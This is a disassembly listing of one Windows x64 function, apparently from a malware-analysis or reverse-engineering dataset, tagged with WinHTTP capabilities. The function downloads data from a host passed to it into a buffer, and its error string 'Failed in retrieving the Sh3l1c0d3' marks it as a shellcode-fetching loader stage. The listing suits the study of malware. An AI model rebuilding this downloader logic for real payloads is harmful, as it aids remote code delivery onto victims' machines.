Function at 0x140001664
Capabilities:
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push rbp
push rbx
sub rsp, 0xc8
lea rbp, [rsp + 0xc0]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov dword [rbp + 0x30], r8d
mov qword [rbp + 0x38], r9
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14000a3a0
mov dword [rbp - 0x74], 0
mov dword [rbp - 0x78], 0
mov qword [rbp - 0x28], 0
mov dword [rbp - 4], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x18], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
lea rax, str.WinHTTP_Agent_1.0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpen]
call rax
mov qword [rbp - 0x30], rax
cmp qword [rbp - 0x30], 0
je 0x140001724
mov eax, dword [rbp + 0x30]
movzx ecx, ax
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp - 0x30]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpConnect]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x14000176d
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
lea rdx, [0x14000c074]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x1400017b1
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x1400017d1
mov rax, qword [rbp - 0x18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
call rax
mov dword [rbp - 4], eax
jmp 0x1400017eb
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Failed_in_WinHttpReceiveResponse___u__n
mov rcx, rax
call sym.printf_char_const__::_
cmp dword [rbp - 4], 0
je 0x140001921
mov dword [rbp - 0x74], 0
lea rdx, [rbp - 0x74]
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
call rax
test eax, eax
sete al
test al, al
je 0x140001833
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Error__u_in_WinHttpQueryDataAvailable___u__n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, dword [rbp - 0x74]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp - 0x28], rax
cmp qword [rbp - 0x28], 0
jne 0x14000185a
mov dword [rbp - 0x74], 0
jmp 0x140001916
mov eax, dword [rbp - 0x74]
add eax, 1
mov edx, eax
mov rax, qword [rbp - 0x28]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov ecx, dword [rbp - 0x74]
lea r8, [rbp - 0x78]
mov rdx, qword [rbp - 0x28]
mov rax, qword [rbp - 0x18]
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpReadData]
call rax
test eax, eax
sete al
test al, al
je 0x1400018bc
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.____Failed__u_in_WinHttpReadData._n
mov rcx, rax
call sym.printf_char_const__::_
jmp 0x140001903
mov eax, dword [rbp - 0x78]
mov edx, eax
mov rax, qword [rbp - 0x28]
lea rbx, [rdx + rax]
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.end__
mov qword [rbp - 0x48], rax
lea rdx, [rbp - 0x48]
lea rax, [rbp - 0x50]
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_unsigned_char_const__std::vector_unsigned_char__std::allocator_unsigned_char_____.__normal_iterator_unsigned_char__void____gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_
mov rcx, qword [rbp - 0x28]
mov rdx, qword [rbp - 0x50]
lea rax, [rbp - 0x70]
mov r9, rbx
mov r8, rcx
mov rcx, rax
call method.__gnu_cxx::__normal_iterator_unsigned_char__std::vector_unsigned_char__std::allocator_unsigned_char______std::vector_unsigned_char__std::allocator_unsigned_char___.insert_char__void____gnu_cxx::__normal_iterator_unsigned_char_const__std::vector_
cmp qword [rbp - 0x28], 0
je 0x140001916
mov rax, qword [rbp - 0x28]
mov rcx, rax
call sym.operator_delete___void_
mov eax, dword [rbp - 0x74]
test eax, eax
jne 0x1400017f5
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.empty___const
movzx eax, al
cmp eax, 1
sete al
test al, al
je 0x140001949
lea rax, str.Failed_in_retrieving_the_Sh3l1c0d3_
mov rcx, rax
call sym.printf_char_const__::_
cmp qword [rbp - 0x18], 0
je 0x140001960
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
cmp qword [rbp - 0x10], 0
je 0x140001977
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
cmp qword [rbp - 0x30], 0
je 0x14000198e
mov rax, qword [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call rax
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 0x38]
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x40], rax
mov dword [rbp - 0x1c], 0
jmp 0x1400019e1
mov eax, dword [rbp - 0x1c]
movsxd rdx, eax
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.operator___unsigned_long_long_
movzx ecx, byte [rax]
mov eax, dword [rbp - 0x1c]
movsxd rdx, eax
mov rax, qword [rbp - 0x40]
add rax, rdx
mov edx, ecx
mov byte [rax], dl
add dword [rbp - 0x1c], 1
mov eax, dword [rbp - 0x1c]
movsxd rbx, eax
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
cmp rbx, rax
setb al
test al, al
jne 0x1400019b7
mov rax, qword [rbp + 0x20]
mov rdx, qword [rbp - 0x40]
mov qword [rax], rdx
mov rax, qword [rbp + 0x20]
mov rdx, qword [rbp - 0x38]
mov qword [rax + 8], rdx
nop
lea rax, [rbp - 0x70]
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector__
jmp 0x140001a3d
mov rax, qword [rbp + 0x20]
add rsp, 0xc8
pop rbx
pop rbp
ret